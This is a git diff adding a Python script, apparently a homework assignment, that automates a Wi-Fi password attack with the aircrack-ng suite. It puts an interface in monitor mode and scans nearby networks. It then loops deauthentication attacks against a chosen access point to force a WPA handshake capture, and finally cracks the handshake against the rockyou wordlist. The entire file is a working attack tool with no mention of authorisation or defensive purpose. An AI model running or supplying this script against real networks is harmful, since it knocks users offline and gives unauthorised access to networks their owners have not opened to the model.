diff --git a/hw7/gemini/app.py b/hw7/gemini/app.py
index e69de29..d084645 100644
--- a/hw7/gemini/app.py
+++ b/hw7/gemini/app.py
@@ -0,0 +1,79 @@
+import subprocess
+import re
+import time
+
+def change_to_monitor_mode(interface):
+    """Changes the given interface to monitor mode."""
+    subprocess.run(["sudo", "airmon-ng", "start", interface])
+
+def change_to_managed_mode(interface):
+    """Changes the given interface to managed mode."""
+    subprocess.run(["sudo", "airmon-ng", "stop", interface])
+
+def get_wifi_interfaces():
+    """Returns a list of available wifi interfaces."""
+    output = subprocess.run(["iwconfig"], capture_output=True).stdout.decode()
+    interfaces = re.findall(r"(\w+)\s+IEEE", output)
+    return interfaces
+
+def get_target_network(interfaces):
+    """Prompts the user to choose a target network from a list of scanned networks."""
+    print("Scanning for networks...")
+    process = subprocess.Popen(["sudo", "airodump-ng", "--band", "bg", "-w", "scan", interfaces[0]], stdout=subprocess.PIPE)
+    time.sleep(5)  # Scan for a few seconds
+    process.terminate()
+    output = process.communicate()[0].decode()
+    networks = re.findall(r"(\s+)([0-9A-F]{2}:[0-9A-F]{2}:[0-9A-F]{2}:[0-9A-F]{2}:[0-9A-F]{2}:[0-9A-F]{2})\s+(-[0-9]+)\s+([0-9]+)\s+([0-9]+)\s+([0-9]+)\s+(-\w+)\s+([0-9]+)\s+([0-9]+)\s+([0-9]+)\s+(.*)", output)
+    if networks:
+        print("Available networks:")
+        for i, network in enumerate(networks):
+            print(f"{i+1}. {network[-1]} (BSSID: {network[1]})")
+        choice = int(input("Choose target network: ")) - 1
+        return networks[choice]
+    else:
+        print("No networks found.")
+        return None
+
+def capture_handshake(target_network, interface):
+    """Captures the handshake of the target network."""
+    bssid = target_network[1]
+    channel = target_network[3]
+    subprocess.Popen(["sudo", "airodump-ng", "--bssid", bssid, "--channel", channel, "--write", "capture", interface], stdout=subprocess.DEVNULL)
+    print(f"Capturing handshake for {target_network[-1]} (BSSID: {bssid})...")
+    try:
+        while True:
+            subprocess.run(["sudo", "aireplay-ng", "--deauth", "0", "-a", bssid, interface])
+            time.sleep(5)
+    except KeyboardInterrupt:
+        print("Handshake capture stopped.")
+
+def crack_password(capture_file, wordlist):
+    """Cracks the password of the captured handshake using the given wordlist."""
+    print("Cracking password...")
+    try:
+        output = subprocess.run(["sudo", "aircrack-ng", "-w", wordlist, capture_file], capture_output=True).stdout.decode()
+        password = re.search(r"KEY FOUND!\s+\[(.*)\]", output)
+        if password:
+            return password.group(1)
+        else:
+            return None
+    except FileNotFoundError:
+        print(f"Wordlist not found: {wordlist}")
+        return None
+
+if __name__ == "__main__":
+    interfaces = get_wifi_interfaces()
+    if interfaces:
+        interface = interfaces[0]  # Use the first interface for now
+        change_to_monitor_mode(interface)
+        target_network = get_target_network(interfaces)
+        if target_network:
+            capture_handshake(target_network, interface)
+            password = crack_password("capture-01.cap", "~/rockyou.txt")
+            if password:
+                print(f"Password found: {password}")
+            else:
+                print("Password not found.")
+        change_to_managed_mode(interface)
+    else:
+        print("No wifi interfaces found.")